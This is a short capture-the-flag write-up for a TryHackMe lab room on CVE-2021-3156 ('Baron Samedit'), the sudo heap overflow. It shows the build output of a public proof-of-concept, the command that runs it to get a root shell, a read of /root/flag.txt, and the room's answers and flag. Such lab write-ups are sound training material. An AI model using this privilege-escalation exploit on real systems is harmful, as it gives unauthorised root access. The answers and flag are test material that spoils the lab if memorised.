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Baron Samedit - Write-up - TryHackMe

noraj (Alexandre ZANNI)
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Information

Room#

  • Name: Baron Samedit
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: A tutorial room exploring CVE-2021-3156 in the Unix Sudo Program. Room Three in the SudoVulns Series

Baron Samedit

Write-up

Baron Samedit#

After compiling the exploit, what is the name of the executable created (blurred in the screenshots above)?

Answer: sudo-hax-me-a-sandwich

Funny name for the exploit:

tryhackme@CVE-2021-3156:~/Exploit$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
tryhackme@CVE-2021-3156:~/Exploit$ ls
Makefile  README.md  hax.c  lib.c  libnss_X  sudo-hax-me-a-sandwich

Run the exploit!

You should now have a root shell -- what is the flag in /root/flag.txt?

After compiling the exploit we just have to run it to exploit CVE-2021-3156:

Answer: THM{NmU4OWYwMWJmMjkxMDdiYTU4MWIxNWVk}

tryhackme@CVE-2021-3156:~/Exploit$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: 'Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id 
uid=0(root) gid=0(root) groups=0(root),1000(tryhackme)
# cat /root/flag.txt
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